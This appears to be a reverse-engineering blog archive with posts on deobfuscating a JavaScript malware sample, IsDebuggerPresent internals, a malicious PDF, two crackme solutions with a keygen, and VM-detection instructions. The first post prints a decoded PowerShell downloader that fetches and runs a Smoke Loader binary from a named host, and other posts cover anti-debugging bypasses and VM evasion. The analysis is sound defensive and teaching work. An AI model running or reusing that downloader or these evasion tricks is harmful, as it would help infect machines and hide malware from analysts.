xorl %eax, %eax

Archive for the ‘reverse engineering’ Category

Trick for quick reverse engineering of JavaScript malware

leave a comment »

Most JavaScript malware authors try to obfuscate their code by adding a lot of unused code as well as randomized variable names and simple encoding and decoding fucntions. Lastly, they typically remove all spaces and newlines. For example, “Сопроводительные.xls.js” is a JavaScript malware sample uploaded to VirusTotal about 2 hours ago. In this malware sample the code was obfuscated using Dean Edwards JavaScript packer. The malware is pretending to be a Microsoft Excel file but it is actually a JavaScript file. Here is how the sample looks like.



We can try to understand what it does and probably spend hours of analysis or we can do something much simpler. Run the obfuscated code through some prettifier, for example something like jsbeautifier.org. Then, just scrolling through the prettified JavaScript code you can easily see some variable that contains a some large string. In this case, just by looking at it it looks like a Base64 encoded string.



If we just copy this Base64 encoded string and decode it, we will get the following malicious PowerShell script that downloads and executes a variant of Smoke Loader malware from microdocs.ru.

cmd /c start /b powershell -WindowStyle Hidden 

$http_request = New-Object -ComObject Msxml2.XMLHTTP;
$adodb = New-Object -ComObject ADODB.Stream;

$path = $env:temp + '\57737.exe';
$http_request.open('GET', 'http://microdocs.ru/axls/svita.exe?rnd=1328', $false);
$http_request.send();

if($http_request.Status -eq "200")
{
	$adodb.open();
	$adodb.type = 1;
	$adodb.write($http_request.responseBody);
	$adodb.position = 0;
	$adodb.savetofile($path);
	$adodb.close();
} else {
	Write-Host $http_request.statusText;
}

Start-Process $path;

So, when reverse engineering a JavaScript malware, before trying to understand the whole obfuscated code, look for any large strings that are standing out. In this case the above analysis took me less than 5 minutes and as you can probably guess trying to de-obfuscate the entire obfuscated code would have taken at least a couple of hours. Hope that you found this trick useful. :)

Written by xorl

December 16, 2017 at 00:31

Reverse Engineering isDebuggerPresent()

leave a comment »

Disclaimer: I am not an experienced Windows guy. I know just the basics and still learning.

There have been tons of articles on how to bypass isDebuggerPresent(), the most widely used anti-debugging method in Windows. However, here we will go a little bit into what isDebuggerPresent() does internally. As we can read in Microsoft’s documentation, it comes with a very simple prototype from Kernel32 library.

BOOL WINAPI IsDebuggerPresent(void);

What we need to know is that isDebuggerPresent() is designed to perform just one task. Return a non-zero value if the current process is running in a user-mode debugger, and a zero value if it is not running in a user-mode debugger. If we load up the Kernel32 DLL (Dynamic-Link Library), we can quickly find the export of this routine. Basically, it is just a jump to an internal offset from DS (Data Segment) register.



This makes sense as Microsoft has moved a lot of the functionality from kernel32.dll and advapi32.dll to kernelbase.dll. So, if we load kernelbase.dll we will quickly locate the actual code behind isDebuggerPresent() which consists of a very simple operation.



Literally, the entire isDebuggerPresent() function is three assembly instructions. First, it stores the value of fs:30h register to EAX register, then copies the value of EAX+2 to the EAX register and lastly, it returns the value that EAX has.

mov     eax, large fs:30h
movzx   eax, byte ptr [eax+2]
retn

The question now becomes, what does the FS segment register store in offset 0x30? The answer is common to any Windows people out there. In Windows, the FS segment register points to the Win32 TIB (Windows 32-bit Thread Information Block), a data structure that describes the currently running thread. In the 0x30 offset we have the linear address of the Process Environment Block (PEB). If you are interested in the rest of the TIB you can check the full mapping on Wikipedia.



This means that the first instruction retrieves the address of PEB data structure. The second instruction fetches the value that is stored two Bytes after the beginning of the PEB structure. Reading Microsoft’s documentation on PEB solves this mystery as this is where “BeingDebugged” is located. So, technically isDebuggerPresent() is returning whatever value “BeingDebugged” has.

typedef struct _PEB {
  BYTE                          Reserved1[2];
  BYTE                          BeingDebugged;
  BYTE                          Reserved2[1];
  PVOID                         Reserved3[2];
  PPEB_LDR_DATA                 Ldr;
  PRTL_USER_PROCESS_PARAMETERS  ProcessParameters;
  BYTE                          Reserved4[104];
  PVOID                         Reserved5[52];
  PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
  BYTE                          Reserved6[128];
  PVOID                         Reserved7[1];
  ULONG                         SessionId;
} PEB, *PPEB;

The question now becomes, what can set _PEB.BeingDebugged to a non-zero value and why. The answer to this is the debugging API of Windows. When a request is made to attach a debugger to a process such as DebugActiveProcess() it will result to a call to DbgUiDebugActiveProcess() from the Windows Native API, known as NTDLL. Here is the equivalent disassembled code.



What we care about as you can easily guess, is the call to _NtDebugActiveProcess() function. This internal API call results in a system call (hex value 0x800C5) to “NtDebugActiveProcess” which is invoked via Wow64SystemServiceCall(). This is part of the NT Operating System kernel (ntoskrnl.exe), also known as the Windows kernel image. If we load the ntoskrnl.exe to IDA and find this system call’s code, we will see exactly how “BeingDebugged” is set.



As you can see “NtDebugActiveProcess” system call will eventually result in the invocation of DbgkpSetProcessDebugObject() function. A function that takes four arguments and is defined as you see below in the Windows internal kernel API prototype.

NTSTATUS NTAPI DbgkpSetProcessDebugObject(IN PEPROCESS Process,
		IN PDEBUG_OBJECT DebugObject,
		IN NTSTATUS      MsgStatus,
		IN PETHREAD  	 LastThread 
) 	

This routine is also part of ntoskrl.exe and what is interesting to us is at the very bottom of its code. You can see the exact snippet below. What we care about is the call to DbgkpMarkProcessPeb() function.



As it is suggested by its name, DbgkpMarkProcessPeb() will update the PEB of the process that it received as an argument to mark it as under debugging. Below you can see exactly where the “BeingDebugged” flag is set to TRUE (or FALSE) within DbgkpMarkProcessPeb().



The above code updates “Process->PEB->BeingDebugged” based on the value of “DebugPort”. If the “DebugPort” is enabled, it will set “Process->PEB->BeingDebugged” to the value of “DebugPort”, otherwise it will remain unset. The “DebugPort” is a value of the PEB structure which is initialized if the parent process (like a debugger) or the kernel was asked to to associate this process with a debug object. You can see the function that does this below.



Basically, this means that any time a debug object is created on the kernel for a process, the DbgkpMarkProcessPeb() will be invoked to ensure that “BeingDebugged” is set to TRUE in the PEB data structure of this specific process. Then, isDebuggerPresent() will simply fetch that value and return it to the user-space when called. As I mentioned in the intro, the scope of this post was not how to defeat the isDebuggerPresent() anti-debugging technique, but to understand how it works. Knowing the above should be sufficient to give you some ideas on how to do it. Just for reference, below are some ideas with a few different methods to bypass this check.

Written by xorl

November 20, 2017 at 16:23

Adobe Vulnerability on milw0rm

with 6 comments

I just had a look at that one and I think that this might be an exploit code for the vulnerability recently disclosed by iDefense or a similar one in FlateDecode. After you uudecode that file, and open hereEvil.pdf you’ll see a pattern similar to the following:

9 0 obj
<<
/Type /XObject
/Subtype /Form
/FormType 1
/BBox &#91; 0.11133 -0.32275 0.22169 -1.01367 &#93;
/Resources << /ProcSet &#91;/PDF /Text /ImageB /ImageC /ImageI&#93;
>>
/Length 263
/Filter /#46#6c#61#74#65#44#65#63#6f#64#65 >>
stream
        ...
endstream
endobj
        ...
     Multiple similar streams
        ...
37 0 obj
<< /S /JavaScript /JS 34 0 R >>
endobj
        ...
startxref
45180
%%EOF

In case you wonder, what that hexadecimal /Filter is, you can convert it to ASCII and you’ll get a nice FlateDecode. Now, skip the two images and text which is normally contained (and displayed) into the file and have a quick look at the Names array.

40 0 obj
<< /Names &#91; (6f2688a5fce7d48c8d19762b88c32c3b) 37 0 R (8ec7ff1ac324a4bed44cc51d362e5b94) 38 0 R (3acb2a202ae4bea8840224e6fce16fd0) 39 0 R &#93; >>
endobj
7 0 obj
<< /JavaScript 40 0 R >>
endobj

Those hashes are common MD5 hashes which are translated to:

6f2688a5fce7d48c8d19762b88c32c3b = 1944
8ec7ff1ac324a4bed44cc51d362e5b94 = 15345
3acb2a202ae4bea8840224e6fce16fd0 = 9174

And objects 37 0, 38 0 and 39 0 are Javascript entries which are invoking three FlateDecode streams like this:

37 0 obj
<< /S /JavaScript /JS 34 0 R >>
endobj
38 0 obj
<< /S /JavaScript /JS 35 0 R >>
endobj
39 0 obj
<< /S /JavaScript /JS 36 0 R >>
endobj

I haven’t converted/decoded those streams to describe it further. Also, according to the document’s entries, the document was created using Scribus PDF Library 1.3.3.13 and it was last modified on 11 July 2009. If anyone messed around with those FlateDecode streams I’d be really happy to know what interesting they contain. :)

Written by xorl

July 23, 2009 at 16:33

cyclops’s NTS-Crackme10 Solution

leave a comment »

I found my solution for this crackme while cleaning up an old USB flash drive. So, here is my solution to this really cool crackme.
When you first run you’ll see something similar to this:

crackme1

After browsing for a few minutes the code in IDA I spotted the reason why it was exiting when I was attempting to run it in a debugger. The reason is:

.text:0040129C loc_40129C:                             ; CODE XREF: sub_401260+36j
.text:0040129C                 push    offset LibFileName ; "kernel32.dll"
.text:004012A1                 call    ds:LoadLibraryA
.text:004012A7                 push    offset ProcName ; "IsDebuggerPresent"
.text:004012AC                 push    eax             ; hModule
.text:004012AD                 call    ds:GetProcAddress
.text:004012B3                 call    eax
.text:004012B5                 test    eax, eax
.text:004012B7                 jz      short loc_4012BD
.text:004012B9                 push    0               ; nExitCode
.text:004012BB                 call    edi ; PostQuitMessage
.text:004012BD

As you can see, it uses IsDebuggerPresent() from kernel32.dll and if this returns TRUE which means EAX will be non-zero, it will jump to loc_4012BD. Otherwise, it will just execute PostQuitMessage(0). There a number of ways to overcome this protection, the simplest one is to just patch the binary and make “test” instruction succeed every time. Another common way is to attach to the process after this code has been executed. In this case, attaching is easier since this check is performed only once during the initialization of the process. Just start the process normally in your Windows and then attach your favorite debugger to it! :)
And now, it is the time to fill every “sound interesting” function with breakpoints. Probably the most interesting one was the Cwnd::GetDlgItemTextA(int, char *, int). From MSDN we can see that this is an MFC (Microsoft Foundation Class) library routine, this is definitely not surprising. Just have a look at that binary and you will see that it makes wide use of MFC. So… After entering a username/password like AAAAAAAA/BBBBBBBB and pressing a quite a few F7 I saw this:

.text:004014BA loc_4014BA:                             ; CODE XREF: sub_401490+21j
.text:004014BA                 nop
.text:004014BB                 pop     eax
.text:004014BC                 lea     eax, [ebp+var_24]
.text:004014BF                 push    1Fh
.text:004014C1                 push    eax
.text:004014C2                 push    3E8h
.text:004014C7                 call    ?GetDlgItemTextA@CWnd@@QBEHHPADH@Z ; CWnd::GetDlgItemTextA(int,char *,int)
.text:004014CC                 mov     edi, eax
.text:004014CE                 push    ecx
.text:004014CF                 push    eax
.text:004014D0                 rdtsc
.text:004014D2                 xor     ecx, ecx
.text:004014D4                 add     ecx, eax
.text:004014D6                 rdtsc
.text:004014D8                 sub     eax, ecx
.text:004014DA                 cmp     eax, 0FFFh
.text:004014DF                 jb      short loc_4014E8
.text:004014E1                 add     [ebp+var_4], 3025h
.text:004014E8

The value stored in EAX, is our username as we can see from the stack at that moment:

Stack[00000488]:0012F884 var_24          db 41h
Stack[00000488]:0012F885                 db  41h ; A
Stack[00000488]:0012F886                 db  41h ; A
Stack[00000488]:0012F887                 db  41h ; A
Stack[00000488]:0012F888                 db  41h ; A
Stack[00000488]:0012F889                 db  41h ; A
Stack[00000488]:0012F88A                 db  41h ; A
Stack[00000488]:0012F88B                 db  41h ; A

Then, it invokes Cwnd::GetDlgItemTextA() in a way similar to: GetDlgItemTextA(0x1F, username, 0x03E8). The last value represents the maximum length and in decimal this is 1000. The subsequent mov edi, eax instruction is used to store the return value (EAX) of GetDlgItemTextA() which represents the length of the characters being copied not including the NULL termination to EDI register.
The next snippet makes use of rdtsc to retrieve the processor timestamp and store the result which is 64bit long to ECX and EAX. It zeros out ECX by XOR’ing it with it self and then adds to it the value of EAX (the lower value returned by rdtsc). It invokes rdtsc once again and then substracts the returned value from the one stored in EAX from the first call. If the comparison succeeds, which means that EAX is equal to 0xFFF (which is 4096 in decimal) it skips the add instruction since it jumps to loc_4014E8 which is the immediately next location.
In case that CMP fails, which means that it took some more time than the expected between the two instructions, then it adds 0x3025 (12325 in decimal) to a local variable. This is another nice little anti-debugging feature. It counts the execution time between the two rdtsc instructions and if it is longer than the expected (probably because of some debugger single stepping around) then it changes its behavior. Once again, there are countless ways to bypass this. You can patch it to add 0, you can NOP it, you can make the CMP succeed always, or you can simply set a breakpoint after that code, for example in loc_4014E8 and thus no execution time overhead. I patched it to be zero and now, after bypassing this let’s move to the loc_4014E8 code.

.text:004014E8 loc_4014E8:                             ; CODE XREF: sub_401490+4Fj
.text:004014E8                 nop
.text:004014E9                 pop     eax
.text:004014EA                 pop     ecx
.text:004014EB                 lea     ecx, [ebp+var_48]
.text:004014EE                 push    11h
.text:004014F0                 push    ecx
.text:004014F1                 push    3E9h
.text:004014F6                 mov     ecx, esi
.text:004014F8                 call    ?GetDlgItemTextA@CWnd@@QBEHHPADH@Z ; CWnd::GetDlgItemTextA(int,char *,int)

Here it just invokes Cwnd::GetDlgItemTextA() in a way similar to: GetDlgItemTextA(17, password, 1001). So… Continuing with this function we have:

.text:004014FD                 cmp     edi, 5
.text:00401500                 jle     short loc_40152F
.text:00401502                 cmp     eax, 5
.text:00401505                 jle     short loc_40152F

If you recall, EDI has the length of the username not including the NULL termination and from the previous call, EAX has the length of the password. If any of these two is less than 5 characters, it will jump to loc_40152F. This is something you really don’t want to happen since this code simply ends this function like this:

.text:0040152F loc_40152F:                             ; CODE XREF: sub_401490+70j
.text:0040152F                                         ; sub_401490+75j ...
.text:0040152F                 pop     edi
.text:00401530                 pop     esi
.text:00401531                 mov     esp, ebp
.text:00401533                 pop     ebp
.text:00401534                 retn

Assuming that our credentials are more than 5 characters, then the code that follows is this:

.text:00401507                 mov     edx, [ebp+var_4]
.text:0040150A                 lea     eax, [ebp+var_48]
.text:0040150D                 push    edx
.text:0040150E                 lea     ecx, [ebp+var_24]
.text:00401511                 push    eax
.text:00401512                 push    ecx
.text:00401513                 call    sub_4013D0
.text:00401518                 add     esp, 0Ch
.text:0040151B                 test    eax, eax
.text:0040151D                 jz      short loc_40152F
.text:0040151F                 push    0
.text:00401521                 push    0
.text:00401523                 push    offset aSerialIsCorrec ; "Serial is Correct!!!"
.text:00401528                 mov     ecx, esi
.text:0040152A                 call    ?MessageBoxA@CWnd@@QAEHPBD0I@Z ; CWnd::MessageBoxA(char const *,char const *,uint)
.text:0040152F

Now, EDX contains the username, EAX the password and then a call to sub_4013D0 is made with parameters like these: sub_4013D0(&username, &password, var_4). It is noteworthy here that if the rdtsc anti-debugging succeeded, then var_4 would be set to 12325 instead of 0 that it is normally. Anyway, keep these in mind and let’s continue with the execution.
After a useless ESP+0, it tests the return value of sub_4013D0 function. If it returns FALSE, then it will jump to loc_40152F which was demonstrated earlier, it will just terminate the routine. However, if it returns true it will call MessageBoxA(“Serial is Correct!!!”, 0, 0). We have reached our goal! We can now choose the easy path of just patching it and creating a crack file that changes the behavior of that test instruction or its equivalent jz or whatever. But the fun part is to reverse the sub_4013D0 and write a nice little key logger. Let’s do this.

It starts like this…

.text:004013D0 sub_4013D0      proc near               ; CODE XREF: sub_401490+83p
.text:004013D0
.text:004013D0 Dest            = byte ptr -0Ch
.text:004013D0 arg_0           = dword ptr  4
.text:004013D0 arg_4           = dword ptr  8
.text:004013D0 arg_8           = dword ptr  0Ch
.text:004013D0
.text:004013D0                 sub     esp, 0Ch
.text:004013D3                 xor     eax, eax
.text:004013D5                 xor     edx, edx
.text:004013D7                 push    ebx
.text:004013D8                 push    esi
.text:004013D9                 mov     esi, [esp+14h+arg_0]
.text:004013DD                 mov     cl, [esi]
.text:004013DF                 test    cl, cl
.text:004013E1                 jz      short loc_401422
.text:004013E3                 push    edi
.text:004013E4                 mov     edi, [esp+18h+arg_8]

So, we have our three arguments username, password and that anti-debugging counter. Then it allocates 12 bytes on the stack and zeroes out EAX and EDX. For convenience I renamed the argumets to user, pass and counter respectively. The next mov instruction stores the address of the username to ESI and the following one, uses the lower part of ECX (meaning the CL register) to get the first character of the username. If this is not NULL (meaning that test instruction succeeds), it will jump to loc_401422. Otherwise, it will push the current value of EDI in the stack and then store the anti-debugging counter to it. Assuming that our username has at least 6 characters, to pass a check shown earlier we can move on with the execution knowing that the test instruction will succeed. The following code is this:

.text:004013E8 loc_4013E8:                             ; CODE XREF: sub_4013D0+4Fj
.text:004013E8                 movsx   ecx, cl
.text:004013EB                 mov     ebx, ecx
.text:004013ED                 xor     ebx, 0C0C0C0C0h
.text:004013F3                 sub     ebx, edi
.text:004013F5                 add     ebx, edx
.text:004013F7                 imul    ebx, eax
.text:004013FA                 shl     ebx, 1
.text:004013FC                 mov     edx, ebx
.text:004013FE                 lea     ebx, [ecx+ecx*4]
.text:00401401                 xor     edx, ebx
.text:00401403                 and     ecx, 8000001Fh
.text:00401409                 jns     short loc_401410
.text:0040140B                 dec     ecx
.text:0040140C                 or      ecx, 0FFFFFFE0h
.text:0040140F                 inc     ecx

Ok… It moves the character of the username stored in CL to ECX in order to be able to perform various operations. For this reason it uses movsx that performs sign extension. It then moves it into ECX and XORs it with 0x0C0C0C0C0. It then subtracts from it the anti-debugging counter/value which is 0 if everything works as expected and increments EBX (username pointer) by EDX (which is 0 now). The next three instructions, imul, shl and mov are used to multiply and sign extend EAX (which is 0) with EBX (username character) and store the result to EDX. The next lea instruction is tricky, it’s used simply to multiply by five and store that result to EBX. The previous result stored in EDX and the one of the exact previous instruction in EBX are XOR’d. Next, ECX is masked with 0x8000001F and if the value isn’t less than zero, then jump to loc_401410. If this is not the case, decrement ECX and OR it with 0x0FFFFFFE0 and then increment it. Assuming that we have a positive value, the following code will be executed:

.text:00401410 loc_401410:                             ; CODE XREF: sub_4013D0+39j
.text:00401410                 shl     edx, cl
.text:00401412                 mov     cl, [eax+esi+1]
.text:00401416                 xor     edx, 0BADDC001h
.text:0040141C                 inc     eax
.text:0040141D                 test    cl, cl
.text:0040141F                 jnz     short loc_4013E8
.text:00401421                 pop     edi

The first instruction shifts left EDX register, and the next mov instruction retrives the next character of the username. EDX is then XOR’d with 0x0BADDC001 and EAX is incremented. If CL is not NULL it jumps back to loc_4013E8. So.. this is a simple loop. In C this could be represent it like:

for(c = *(char *)username; username; ++i)
{
   edx = 5 * c ^ 2 * i * (edx + (c ^ 0xC0C0C0C0) - counter);
   ecx = c & 0x8000001F;

   if (ecx < 0)
     ecx = ((--ecx) | 0xFFFFFFE0) + 1;

   edx = edx << ecx;
   c = *(char *) (i + user + 1);
   edx = edx ^ 0x0BADDC001;
} 
&#91;/sourcecode&#93;

With this in mind we can move on with this routine. The next code is fairly simple...

&#91;sourcecode language="c"&#93;
.text:00401422 loc_401422:                             ; CODE XREF: sub_4013D0+11j
.text:00401422                 push    edx
.text:00401423                 lea     eax, &#91;esp+18h+Dest&#93;
.text:00401427                 push    offset Format   ; "%08X"
.text:0040142C                 push    eax             ; Dest
.text:0040142D                 call    ds:sprintf
.text:00401433                 mov     esi, &#91;esp+20h+pass&#93;
.text:00401437                 add     esp, 0Ch
.text:0040143A                 lea     eax, &#91;esp+14h+Dest&#93;
&#91;/sourcecode&#93;

What it does is basically sprintf(Dest, "%08X", edx). This means that the hex value is then stored into ESI and the final password into EAX. So, in C this code would be:

&#91;sourcecode language="c"&#93;
sprintf(dest, "%08X", edx);
esi = password;
eax = dest;
&#91;/sourcecode&#93;

And let's move to the next disassembled code...

&#91;sourcecode language="c"&#93;
.text:0040143E loc_40143E:                             ; CODE XREF: sub_4013D0+90j
.text:0040143E                 mov     dl, &#91;eax&#93;
.text:00401440                 mov     bl, &#91;esi&#93;
.text:00401442                 mov     cl, dl
.text:00401444                 cmp     dl, bl
.text:00401446                 jnz     short loc_401473
.text:00401448                 test    cl, cl
.text:0040144A                 jz      short loc_401462
&#91;/sourcecode&#93;

It moves the first character of the dest string into DL and the first of the password into BL registers. It then moves DL into CL and compares DL (aka the dest string character) with BL (the password character). If they are not equal it jumps to loc_401473, if they are, it checks that dest character, CL is not NULL. If it's NULL it jumps to loc_401462. The code continues like this:

&#91;sourcecode language="c"&#93;
.text:0040144C                 mov     dl, &#91;eax+1&#93;
.text:0040144F                 mov     bl, &#91;esi+1&#93;
.text:00401452                 mov     cl, dl
.text:00401454                 cmp     dl, bl
.text:00401456                 jnz     short loc_401473
.text:00401458                 add     eax, 2
.text:0040145B                 add     esi, 2
.text:0040145E                 test    cl, cl
.text:00401460                 jnz     short loc_40143E
&#91;/sourcecode&#93;

It increments the pointers to point to the next characters and compares them once again. It iterates to this loop until it completes the string, meaning CL is NULL. In C this could be written like:

&#91;sourcecode language="c"&#93;
dl = *(char *)dest;
bl = *(char *)password;
for(;;)
{
	cl = dl;

	if (dl != bl)
          goto loc_401473;
	if(cl == NULL)
          goto loc_401462;

        dl = *(char *)dest++;
	bl = *(char *)password++;

	if (dl != bl)
	  goto loc_401473;
 
        dest += 2;
	password += 2;

	if (cl == NULL)
          goto loc_40143E;
}
&#91;/sourcecode&#93;

So.. that's it! By the way, if you single step you can check out the value stored in dest using sprintf. This is the password we're looking for. In my case (user: AAAAAAAA) that was:

&#91;sourcecode language="c"&#93;
Stack&#91;00000D54&#93;:0012F83C Dest            db 37h
Stack&#91;00000D54&#93;:0012F83D                 db  41h ; A
Stack&#91;00000D54&#93;:0012F83E                 db  36h ; 6
Stack&#91;00000D54&#93;:0012F83F                 db  30h ; 0
Stack&#91;00000D54&#93;:0012F840                 db  33h ; 3
Stack&#91;00000D54&#93;:0012F841                 db  43h ; C
Stack&#91;00000D54&#93;:0012F842                 db  35h ; 5
Stack&#91;00000D54&#93;:0012F843                 db  42h ; B
Stack&#91;00000D54&#93;:0012F844                 db    0
&#91;/sourcecode&#93;

And of course the result of entering this is...

<img src="https://xorl.files.wordpress.com/2009/07/2.jpg" alt="crackme2" title="crackme2" width="336" height="258" class="aligncenter size-full wp-image-1015" />

And obviously, with the above knowledge you can easily write a key generator for this application. Here is mine:


#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void usage(const char *);

int
main(int argc, char *argv[])
{
         if (argc != 2)
           usage(argv[0]);
         
         char         *user = (char *) argv[1];
         char         *pass[10];
         char          ch;
         int           i = 0;
         long          edx, edx2, edx3 = 0;
         long          ecx;
          
         if (strlen(user) < 6)
         {
            fprintf(stderr, "Username must be more than 5 characters long\n");
            exit(EXIT_FAILURE);
         }
         
         memset(pass, 0, sizeof(pass));
         
         for(ch = *(char *)user; ch; ++i)
         {
                edx = 5 * ch ^ 2 * i * (edx3 + (ch ^ 0xC0C0C0C0));
                ecx = ch & 0x8000001F;
                
                if (ecx < 0)
                  ecx  = ((--ecx) | 0xFFFFFFE0) + 1;
                
                edx2 = edx << ecx;
                ch = *(char *) (i + user + 1);
                edx3 = edx2 ^ 0xBADDC001;
         }
         
         sprintf(&pass, "%08X", edx3);  
         
         fprintf(stdout, "\nUsername:\t%s\nPassword:\t%s\n", user, pass);
         return 0;
}

void
usage(const char *name)
{
            fprintf(stderr, "Usage: %s <username>\n", name);
            exit(EXIT_FAILURE);
}

Which as you can see here:

crackme3

It works!

crackme4

Written by xorl

July 8, 2009 at 06:22

VMM Detection Continued

leave a comment »

Yeah, I’m going to post another instruction which is poorly implemented on VMware and results in a nice segfault just like verr/verw. Why I’m posting this? Once again, it is something used on malware lately. So, what’s up with this instruction now. This is about SMSW (Store Machine Status Word) which according to Intel manuals (Volume 2B, pp. 4-401) does this:

Stores the machine status word (bits 0 through 15 of control register CR0) into the destination operand. The destination operand can be a general-purpose register or a memory location.

Extremely simple but once again, if you play around protected mode you’re gonna see a lot of interesting behavior on VMMs. Even though I personally use some VMM detection tool, these simple instructions are a quick and dirty way of determining possible VMMs. So… here you are:

xorl@vmware:~$ cat > heh.c <<_EOF
> #include <stdio.h>
> int main(void) {
> __asm__(“smsw 313(%eax)”);
> printf(“can you read this?\n”);
> return 0;
> }
> xorl@vmware:~$ gcc heh.c -o heh && ./heh
Segmentation fault
xorl@vmware:~$

Which of course on host OS works perfectly. Here is my attempt on a debian box:

xorl@debian:~$ cat > heh.c << _EOF
> #include <stdio.h>
> int main(void) {
> __asm__(“smsw 313(%eax)”);
> printf(“can you read this?\n”);
> return 0;
> }
> xorl@debian:~$ gcc heh.c -o heh && ./heh && rm heh*
can you read this?
xorl@debian:~$

Just a suggestion. If you’re interested in VMM detection by any means, then just have a look at the protected mode instructions. I’m not going to make any other post regarding this subject but there are literally hundreds of techniques.

Written by xorl

March 30, 2009 at 15:37

Funny crackme

with one comment

Well, it’s Saturday night and I still don’t have internet connection. However, I found a few crackmes on a flash drive. Here I’ll write my solution to “Harry Potter Crackme by Shalamandra” since I don’t have anything better to do. Now that you’re reading this is probably Monday but anyway. This crackme should not take you more than 10 minutes since it’s just a tiny application with no special protection. The algorithm seems pretty simple… It goes like this:

1) Print some stuff on the console
2) Read a string
3) Do some rearrangements
4) Compare it with an existing one using strcmp()
5) If they contain the same string, print the congrats message else terminate

Of course you can just patch the final jump of step 5 which you can see here (from IDA Pro):

.text:00401723                 mov     [esp+88h+var_84], eax
.text:00401727                 mov     [esp+88h+var_88], edx
.text:0040172A                 call    strcmp
.text:0040172F                 test    eax, eax
.text:00401731                 jnz     short loc_401749

And loc_41749 is the location of the function which prints out the error message which you can see below:

harry potter crackme

But this is not allowed if you read the provided NFO file. The author explicitely states:

Rules:
Find the correct serial.
No patching allowed.

Which I found it nice since this is a really easy one and allowing patching will just made it a completely lame crackme. So, let’s have a look at the known string passed on strcmp(). This can be found easily by setting two breakpoints at the two arguments passed by the stack to the strcmp() library routine at addresses 0x00401723 and 0x00401727 (I did this using OllyDbg). The known string is this:

EAX=0022FF50, (ASCII "I am Lord Voldemort")

Which is stored in a character array on the stack. Now that we know this we can start reversing this funny rearrangement algorithm. It’s extremely easy to spot and reverse it since it’s composed by exactly 38 (19 x 2) MOV instructions and the above string has length of 19 bytes not including the NULL termination. Anyway, here is the substitution:

.text:00401694                 movzx   eax, [ebp+var_3B]
.text:00401698                 mov     [ebp+var_68], al
.text:0040169B                 movzx   eax, [ebp+var_45]
.text:0040169F                 mov     [ebp+var_67], al
.text:004016A2                 movzx   eax, [ebp+var_43]
.text:004016A6                 mov     [ebp+var_66], al
.text:004016A9                 movzx   eax, [ebp+var_44]
.text:004016AD                 mov     [ebp+var_65], al
.text:004016B0                 movzx   eax, [ebp+var_36]
.text:004016B4                 mov     [ebp+var_64], al
.text:004016B7                 movzx   eax, [ebp+var_3F]
.text:004016BB                 mov     [ebp+var_63], al
.text:004016BE                 movzx   eax, [ebp+var_47]
.text:004016C2                 mov     [ebp+var_62], al
.text:004016C5                 movzx   eax, [ebp+var_42]
.text:004016C9                 mov     [ebp+var_61], al
.text:004016CC                 movzx   eax, [ebp+var_39]
.text:004016D0                 mov     [ebp+var_60], al
.text:004016D3                 movzx   eax, [ebp+var_3D]
.text:004016D7                 mov     [ebp+var_5F], al
.text:004016DA                 movzx   eax, [ebp+var_41]
.text:004016DE                 mov     [ebp+var_5E], al
.text:004016E1                 movzx   eax, [ebp+var_40]
.text:004016E5                 mov     [ebp+var_5D], al
.text:004016E8                 movzx   eax, [ebp+var_38]
.text:004016EC                 mov     [ebp+var_5C], al
.text:004016EF                 movzx   eax, [ebp+var_3A]
.text:004016F3                 mov     [ebp+var_5B], al
.text:004016F6                 movzx   eax, [ebp+var_37]
.text:004016FA                 mov     [ebp+var_5A], al
.text:004016FD                 movzx   eax, [ebp+var_46]
.text:00401701                 mov     [ebp+var_59], al
.text:00401704                 movzx   eax, [ebp+var_3E]
.text:00401708                 mov     [ebp+var_58], al
.text:0040170B                 movzx   eax, [ebp+var_3C]
.text:0040170F                 mov     [ebp+var_57], al
.text:00401712                 movzx   eax, [ebp+var_48]
.text:00401716                 mov     [ebp+var_56], al
.text:00401719                 mov     [ebp+var_55], 0

It performs NULL termination on the last instruction. Anyway, I know that most of you will find this boring and to be honest if I had internet connection I’ll probably found it boring too but right now I had nothing better to do than writing this. Anyway, the substitution goes like this:

Original Position       New Position
---------------------------------------
        0                   18
        1                    6
        2                   15
        3                    1
        4                    3
        5                    2
        6                    7
        7                   10
        8                   11
        9                    5
       10                   16
       11                    9
       12                   17
       13                    0
       14                   13
       15                    8
       16                   12
       17                   14
       18                    4

So, if you like that source code reconstruction ideas when doing crackmes I believe the above source code should be looking something like this:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>


int
main(void)
{
   char *usr_str, str[20] = {"I am Lord Voldemort"};

   printf("Print the cool ASCII art\nEnter the serial: \n");
   gets(usr_str); // Yeah... an overflow...
   char *tmp_buf = strdup(usr_str);
   // and a missing return value check...

   usr_str[0]  = tmp_buf[13];
   usr_str[1]  = tmp_buf[3];
   usr_str[2]  = tmp_buf[5];
   usr_str[3]  = tmp_buf[4];
   usr_str[4]  = tmp_buf[18];
   usr_str[5]  = tmp_buf[9];
   usr_str[6]  = tmp_buf[1];
   usr_str[7]  = tmp_buf[6];
   usr_str[8]  = tmp_buf[15];
   usr_str[9]  = tmp_buf[11];
   usr_str[10] = tmp_buf[7];
   usr_str[11] = tmp_buf[8];
   usr_str[12] = tmp_buf[16];
   usr_str[13] = tmp_buf[14];
   usr_str[14] = tmp_buf[17];
   usr_str[15] = tmp_buf[2];
   usr_str[16] = tmp_buf[10];
   usr_str[17] = tmp_buf[12];
   usr_str[18] = tmp_buf[0];
   usr_str[19] = 0;


   if (!strcmp(usr_str, str))
      printf("You're awesome!\n");
   else
      printf("Ultra fail!\n");

   free(tmp_buf);
   return 0;
}

This is a completely crappy C code but it’s an abstract demonstration of the crackme (which was written in C++ by the way). Now, that you have everything just find the serial. :P
Here is a screenshot from the crackme:

harry potter crackme

Nice one to spend a couple of minutes. :)

Written by xorl

March 30, 2009 at 12:36

Another VMM Detection Technique

with one comment

The previous week I was reading some stuff of the Intel manuals and came across a few really interesting instructions. One of those was VERR/VERW which according to Intel manual Volume 2B (pages 4-494) is defined like this:

Verifies whether the code or data segment specified with the source operand is read-
able (VERR) or writable (VERW) from the current privilege level (CPL). The source
operand is a 16-bit register or a memory location that contains the segment selector
for the segment to be verified. If the segment is accessible and readable (VERR) or
writable (VERW), the ZF flag is set; otherwise, the ZF flag is cleared. Code segments
are never verified as writable. This check cannot be performed on system segments.

